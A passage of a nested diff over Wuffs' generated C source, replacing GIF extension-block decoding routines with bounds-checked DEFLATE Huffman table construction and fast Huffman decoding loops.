+- goto suspend; ++ if (self->private_data.f_code_lengths[v_i] != 0u) { ++ if (v_offsets[((uint8_t)(self->private_data.f_code_lengths[v_i] & 15u))] >= 320u) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ } ++ v_symbols[v_offsets[((uint8_t)(self->private_data.f_code_lengths[v_i] & 15u))]] = ((uint16_t)((v_i - a_n_codes0))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_offsets[((uint8_t)(self->private_data.f_code_lengths[v_i] & 15u))] += 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif + } +- +- ok: +- self->private_impl.p_decode_extension[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_decode_extension[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ v_i += 1u; + } +- +- return status; +-} +- +-// -------- func gif.decoder.skip_blocks +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__skip_blocks( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint8_t v_block_size = 0; +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; ++ v_min_cl = 1u; ++ while (true) { ++ if (v_counts[v_min_cl] != 0u) { ++ break; ++ } ++ if (v_min_cl >= 9u) { ++ return wuffs_base__make_status(wuffs_deflate__error__bad_huffman_minimum_code_length); ++ } ++ v_min_cl += 1u; + } +- +- uint32_t coro_susp_point = self->private_impl.p_skip_blocks[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- while (true) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ v_max_cl = 15u; ++ while (true) { ++ if (v_counts[v_max_cl] != 0u) { ++ break; ++ } ++ if (v_max_cl <= 1u) { ++ return wuffs_base__make_status(wuffs_deflate__error__no_huffman_codes); ++ } ++ v_max_cl -= 1u; ++ } ++ if (v_max_cl <= 9u) { ++ self->private_impl.f_n_huffs_bits[a_which] = v_max_cl; ++ } else { ++ self->private_impl.f_n_huffs_bits[a_which] = 9u; ++ } ++ v_i = 0u; ++ if ((v_n_symbols != ((uint32_t)(v_offsets[v_max_cl]))) || (v_n_symbols != ((uint32_t)(v_offsets[15u])))) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ } ++ if ((a_n_codes0 + ((uint32_t)(v_symbols[0u]))) >= 320u) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ } ++ v_initial_high_bits = 512u; ++ if (v_max_cl < 9u) { ++ v_initial_high_bits = (((uint32_t)(1u)) << v_max_cl); ++ } ++ v_prev_cl = ((uint32_t)(((uint8_t)(self->private_data.f_code_lengths[(a_n_codes0 + ((uint32_t)(v_symbols[0u])))] & 15u)))); ++ v_prev_redirect_key = 4294967295u; ++ v_top = 0u; ++ v_next_top = 512u; ++ v_code = 0u; ++ v_key = 0u; ++ v_value = 0u; ++ while (true) { ++ if ((a_n_codes0 + ((uint32_t)(v_symbols[v_i]))) >= 320u) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ } ++ v_cl = ((uint32_t)(((uint8_t)(self->private_data.f_code_lengths[(a_n_codes0 + ((uint32_t)(v_symbols[v_i])))] & 15u)))); ++ if (v_cl > v_prev_cl) { ++ v_code <<= (v_cl - v_prev_cl); ++ if (v_code >= 32768u) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ } ++ } ++ v_prev_cl = v_cl; ++ v_key = v_code; ++ if (v_cl > 9u) { ++ v_cl -= 9u; ++ v_redirect_key = ((v_key >> v_cl) & 511u); ++ v_key = ((v_key) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U32(v_cl)); ++ if (v_prev_redirect_key != v_redirect_key) { ++ v_prev_redirect_key = v_redirect_key; ++ v_remaining = (((uint32_t)(1u)) << v_cl); ++ v_j = v_prev_cl; ++ while (v_j <= 15u) { ++ if (v_remaining <= ((uint32_t)(v_counts[v_j]))) { ++ break; ++ } ++ v_remaining -= ((uint32_t)(v_counts[v_j])); ++ if (v_remaining > 1073741824u) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ } ++ v_remaining <<= 1u; ++ v_j += 1u; + } +- uint8_t t_0 = *iop_a_src++; +- v_block_size = t_0; ++ if ((v_j <= 9u) || (15u < v_j)) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ } ++ v_j -= 9u; ++ v_initial_high_bits = (((uint32_t)(1u)) << v_j); ++ v_top = v_next_top; ++ if ((v_top + (((uint32_t)(1u)) << v_j)) > 1024u) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ } ++ v_next_top = (v_top + (((uint32_t)(1u)) << v_j)); ++ v_redirect_key = (((uint32_t)(WUFFS_DEFLATE__REVERSE8[(v_redirect_key >> 1u)])) | ((v_redirect_key & 1u) << 8u)); ++ self->private_data.f_huffs[a_which][v_redirect_key] = (268435465u | (v_top << 8u) | (v_j << 4u)); + } +- if (v_block_size == 0u) { +- status = wuffs_base__make_status(NULL); +- goto ok; ++ } ++ if ((v_key >= 512u) || (v_counts[v_prev_cl] <= 0u)) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ } ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_counts[v_prev_cl] -= 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ v_reversed_key = (((uint32_t)(WUFFS_DEFLATE__REVERSE8[(v_key >> 1u)])) | ((v_key & 1u) << 8u)); ++ v_reversed_key >>= (9u - v_cl); ++ v_symbol = ((uint32_t)(v_symbols[v_i])); ++ if (v_symbol == 256u) { ++ v_value = (536870912u | v_cl); ++ } else if ((v_symbol < 256u) && (a_which == 0u)) { ++ v_value = (2147483648u | (v_symbol << 8u) | v_cl); ++ } else if (v_symbol >= a_base_symbol) { ++ v_symbol -= a_base_symbol; ++ if (a_which == 0u) { ++ v_value = (WUFFS_DEFLATE__LCODE_MAGIC_NUMBERS[(v_symbol & 31u)] | v_cl); ++ } else { ++ v_value = (WUFFS_DEFLATE__DCODE_MAGIC_NUMBERS[(v_symbol & 31u)] | v_cl); + } +- self->private_data.s_skip_blocks[0].scratch = ((uint32_t)(v_block_size)); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (self->private_data.s_skip_blocks[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_skip_blocks[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ } else { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ } ++ v_high_bits = v_initial_high_bits; ++ v_delta = (((uint32_t)(1u)) << v_cl); ++ while (v_high_bits >= v_delta) { ++ v_high_bits -= v_delta; ++ if ((v_top + ((v_high_bits | v_reversed_key) & 511u)) >= 1024u) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); + } +- iop_a_src += self->private_data.s_skip_blocks[0].scratch; ++ self->private_data.f_huffs[a_which][(v_top + ((v_high_bits | v_reversed_key) & 511u))] = v_value; ++ } ++ v_i += 1u; ++ if (v_i >= v_n_symbols) { ++ break; ++ } ++ v_code += 1u; ++ if (v_code >= 32768u) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); + } +- +- ok: +- self->private_impl.p_skip_blocks[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_skip_blocks[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- +- return status; ++ return wuffs_base__make_status(NULL); + } + +-// -------- func gif.decoder.decode_ae ++// ‼ WUFFS MULTI-FILE SECTION +x86_bmi2 ++// -------- func deflate.decoder.decode_huffman_bmi2 + ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("bmi2") + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_gif__decoder__decode_ae( +- wuffs_gif__decoder* self, ++wuffs_deflate__decoder__decode_huffman_bmi2( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_c = 0; +- uint8_t v_block_size = 0; +- bool v_is_animexts = false; +- bool v_is_netscape = false; +- bool v_is_iccp = false; +- bool v_is_xmp = false; ++ uint64_t v_bits = 0; ++ uint32_t v_n_bits = 0; ++ uint32_t v_table_entry = 0; ++ uint32_t v_table_entry_n_bits = 0; ++ uint64_t v_lmask = 0; ++ uint64_t v_dmask = 0; ++ uint32_t v_redir_top = 0; ++ uint32_t v_redir_mask = 0; ++ uint32_t v_length = 0; ++ uint32_t v_dist_minus_1 = 0; ++ uint32_t v_hlen = 0; ++ uint32_t v_hdist = 0; ++ uint32_t v_hdist_adjustment = 0; + ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -38283,214 +39652,206 @@ wuffs_gif__decoder__decode_ae( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_ae[0]; +- if (coro_susp_point) { +- v_block_size = self->private_data.s_decode_ae[0].v_block_size; +- v_is_animexts = self->private_data.s_decode_ae[0].v_is_animexts; +- v_is_netscape = self->private_data.s_decode_ae[0].v_is_netscape; +- v_is_iccp = self->private_data.s_decode_ae[0].v_is_iccp; +- v_is_xmp = self->private_data.s_decode_ae[0].v_is_xmp; ++ if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); ++ goto exit; + } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- do { +- if (self->private_impl.f_metadata_fourcc != 0u) { +- status = wuffs_base__make_status(wuffs_base__note__metadata_reported); +- goto ok; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_0 = *iop_a_src++; +- v_block_size = t_0; +- } +- if (v_block_size == 0u) { +- status = wuffs_base__make_status(NULL); +- goto ok; +- } +- if (v_block_size != 11u) { +- self->private_data.s_decode_ae[0].scratch = ((uint32_t)(v_block_size)); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (self->private_data.s_decode_ae[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_decode_ae[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_decode_ae[0].scratch; ++ v_bits = ((uint64_t)(self->private_impl.f_bits)); ++ v_n_bits = self->private_impl.f_n_bits; ++ v_lmask = ((((uint64_t)(1u)) << self->private_impl.f_n_huffs_bits[0u]) - 1u); ++ v_dmask = ((((uint64_t)(1u)) << self->private_impl.f_n_huffs_bits[1u]) - 1u); ++ if (self->private_impl.f_transformed_history_count < (a_dst ? a_dst->meta.pos : 0u)) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_i_o_position); ++ goto exit; ++ } ++ v_hdist_adjustment = ((uint32_t)((self->private_impl.f_transformed_history_count - (a_dst ? a_dst->meta.pos : 0u)))); ++ label__loop__continue:; ++ while ((((uint64_t)(io2_a_dst - iop_a_dst)) >= 266u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 8u)) { ++ v_bits |= ((uint64_t)(wuffs_base__peek_u64le__no_bounds_check(iop_a_src) << (v_n_bits & 63u))); ++ iop_a_src += ((63u - (v_n_bits & 63u)) >> 3u); ++ v_n_bits |= 56u; ++ v_table_entry = self->private_data.f_huffs[0u][(v_bits & v_lmask)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ if ((v_table_entry >> 31u) != 0u) { ++ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); ++ continue; ++ } else if ((v_table_entry >> 30u) != 0u) { ++ } else if ((v_table_entry >> 29u) != 0u) { ++ self->private_impl.f_end_of_block = true; ++ break; ++ } else if ((v_table_entry >> 28u) != 0u) { ++ v_redir_top = ((v_table_entry >> 8u) & 65535u); ++ v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); ++ v_table_entry = self->private_data.f_huffs[0u][((v_redir_top + (((uint32_t)(v_bits)) & v_redir_mask)) & 1023u)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ if ((v_table_entry >> 31u) != 0u) { ++ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); ++ continue; ++ } else if ((v_table_entry >> 30u) != 0u) { ++ } else if ((v_table_entry >> 29u) != 0u) { ++ self->private_impl.f_end_of_block = true; + break; ++ } else if ((v_table_entry >> 28u) != 0u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; ++ } else if ((v_table_entry >> 27u) != 0u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); ++ goto exit; ++ } else { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; + } +- v_is_animexts = true; +- v_is_netscape = true; +- v_is_iccp = true; +- v_is_xmp = true; +- v_block_size = 0u; +- while (v_block_size < 11u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_1 = *iop_a_src++; +- v_c = t_1; +- } +- v_is_animexts = (v_is_animexts && (v_c == WUFFS_GIF__ANIMEXTS1DOT0[v_block_size])); +- v_is_netscape = (v_is_netscape && (v_c == WUFFS_GIF__NETSCAPE2DOT0[v_block_size])); +- v_is_iccp = (v_is_iccp && (v_c == WUFFS_GIF__ICCRGBG1012[v_block_size])); +- v_is_xmp = (v_is_xmp && (v_c == WUFFS_GIF__XMPDATAXMP[v_block_size])); +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- v_block_size += 1u; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif ++ } else if ((v_table_entry >> 27u) != 0u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); ++ goto exit; ++ } else { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; ++ } ++ v_length = (((v_table_entry >> 8u) & 255u) + 3u); ++ v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); ++ if (v_table_entry_n_bits > 0u) { ++ v_length = (((v_length + 253u + ((uint32_t)(((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U64(v_table_entry_n_bits))))) & 255u) + 3u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ } ++ v_table_entry = self->private_data.f_huffs[1u][(v_bits & v_dmask)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ if ((v_table_entry >> 28u) == 1u) { ++ v_redir_top = ((v_table_entry >> 8u) & 65535u); ++ v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); ++ v_table_entry = self->private_data.f_huffs[1u][((v_redir_top + (((uint32_t)(v_bits)) & v_redir_mask)) & 1023u)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ } ++ if ((v_table_entry >> 24u) != 64u) { ++ if ((v_table_entry >> 24u) == 8u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); ++ goto exit; + } +- if (v_is_animexts || v_is_netscape) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_2 = *iop_a_src++; +- v_block_size = t_2; +- } +- if (v_block_size != 3u) { +- self->private_data.s_decode_ae[0].scratch = ((uint32_t)(v_block_size)); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- if (self->private_data.s_decode_ae[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_decode_ae[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_decode_ae[0].scratch; +- break; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_3 = *iop_a_src++; +- v_c = t_3; ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; ++ } ++ v_dist_minus_1 = ((v_table_entry >> 8u) & 32767u); ++ v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); ++ v_dist_minus_1 = ((v_dist_minus_1 + ((uint32_t)(((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U64(v_table_entry_n_bits))))) & 32767u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ do { ++ if (((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) { ++ v_hlen = 0u; ++ v_hdist = ((uint32_t)((((uint64_t)((v_dist_minus_1 + 1u))) - ((uint64_t)(iop_a_dst - io0_a_dst))))); ++ if (v_length > v_hdist) { ++ v_length -= v_hdist; ++ v_hlen = v_hdist; ++ } else { ++ v_hlen = v_length; ++ v_length = 0u; + } +- if (v_c != 1u) { +- self->private_data.s_decode_ae[0].scratch = 2u; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- if (self->private_data.s_decode_ae[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_decode_ae[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_decode_ae[0].scratch; +- break; ++ v_hdist += v_hdist_adjustment; ++ if (self->private_impl.f_history_index < v_hdist) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_distance); ++ goto exit; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- uint32_t t_4; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_4 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_decode_ae[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_ae[0].scratch; +- uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; +- if (num_bits_4 == 8) { +- t_4 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_4 += 8u; +- *scratch |= ((uint64_t)(num_bits_4)) << 56; +- } +- } +- self->private_impl.f_num_animation_loops_value = t_4; ++ wuffs_private_impl__io_writer__limited_copy_u32_from_slice( ++ &iop_a_dst, io2_a_dst,v_hlen, wuffs_base__make_slice_u8_ij(self->private_data.f_history, ((self->private_impl.f_history_index - v_hdist) & 32767u), 33025)); ++ if (v_length == 0u) { ++ goto label__loop__continue; + } +- self->private_impl.f_seen_num_animation_loops_value = true; +- if ((0u < self->private_impl.f_num_animation_loops_value) && (self->private_impl.f_num_animation_loops_value <= 65535u)) { +- self->private_impl.f_num_animation_loops_value += 1u; ++ if ((((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) || (((uint64_t)(v_length)) > ((uint64_t)(io2_a_dst - iop_a_dst))) || (((uint64_t)((v_length + 8u))) > ((uint64_t)(io2_a_dst - iop_a_dst)))) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_distance); ++ goto exit; + } +- } else if (self->private_impl.f_call_sequence >= 32u) { +- } else if (v_is_iccp && self->private_impl.f_report_metadata_iccp) { +- self->private_impl.f_metadata_fourcc = 1229144912u; +- self->private_impl.f_metadata_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); +- self->private_impl.f_call_sequence = 16u; +- status = wuffs_base__make_status(wuffs_base__note__metadata_reported); +- goto ok; +- } else if (v_is_xmp && self->private_impl.f_report_metadata_xmp) { +- self->private_impl.f_metadata_fourcc = 1481461792u; +- self->private_impl.f_metadata_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); +- self->private_impl.f_call_sequence = 16u; +- status = wuffs_base__make_status(wuffs_base__note__metadata_reported); +- goto ok; ++ } ++ if ((v_dist_minus_1 + 1u) >= 8u) { ++ wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast( ++ &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); ++ } else if ((v_dist_minus_1 + 1u) == 1u) { ++ wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_distance_1_fast( ++ &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); ++ } else { ++ wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast( ++ &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); + } + } while (0); +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); +- status = wuffs_gif__decoder__skip_blocks(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; ++ } ++ if (v_n_bits > 63u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ while (v_n_bits >= 8u) { ++ v_n_bits -= 8u; ++ if (iop_a_src > io1_a_src) { ++ iop_a_src--; ++ } else { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_i_o); ++ goto exit; + } +- +- ok: +- self->private_impl.p_decode_ae[0] = 0; ++ } ++ self->private_impl.f_bits = ((uint32_t)((v_bits & ((((uint64_t)(1u)) << v_n_bits) - 1u)))); ++ self->private_impl.f_n_bits = v_n_bits; ++ if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> self->private_impl.f_n_bits) != 0u)) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); + goto exit; + } +- +- goto suspend; +- suspend: +- self->private_impl.p_decode_ae[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_decode_ae[0].v_block_size = v_block_size; +- self->private_data.s_decode_ae[0].v_is_animexts = v_is_animexts; +- self->private_data.s_decode_ae[0].v_is_netscape = v_is_netscape; +- self->private_data.s_decode_ae[0].v_is_iccp = v_is_iccp; +- self->private_data.s_decode_ae[0].v_is_xmp = v_is_xmp; +- + goto exit; + exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } + if (a_src && a_src->data.ptr) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + + return status; + } ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) ++// ‼ WUFFS MULTI-FILE SECTION -x86_bmi2 + +-// -------- func gif.decoder.decode_gc ++// -------- func deflate.decoder.decode_huffman_fast32 + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_gif__decoder__decode_gc( +- wuffs_gif__decoder* self, ++wuffs_deflate__decoder__decode_huffman_fast32( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_c = 0; +- uint8_t v_flags = 0; +- uint16_t v_gc_duration_centiseconds = 0; ++ uint32_t v_bits = 0; ++ uint32_t v_n_bits = 0; ++ uint32_t v_table_entry = 0; ++ uint32_t v_table_entry_n_bits = 0; ++ uint32_t v_lmask = 0; ++ uint32_t v_dmask = 0; ++ uint32_t v_redir_top = 0; ++ uint32_t v_redir_mask = 0; ++ uint32_t v_length = 0; ++ uint32_t v_dist_minus_1 = 0; ++ uint32_t v_hlen = 0; ++ uint32_t v_hdist = 0; ++ uint32_t v_hdist_adjustment = 0; + ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -38502,106 +39863,205 @@ wuffs_gif__decoder__decode_gc( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_gc[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_0 = *iop_a_src++; +- v_c = t_0; ++ if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 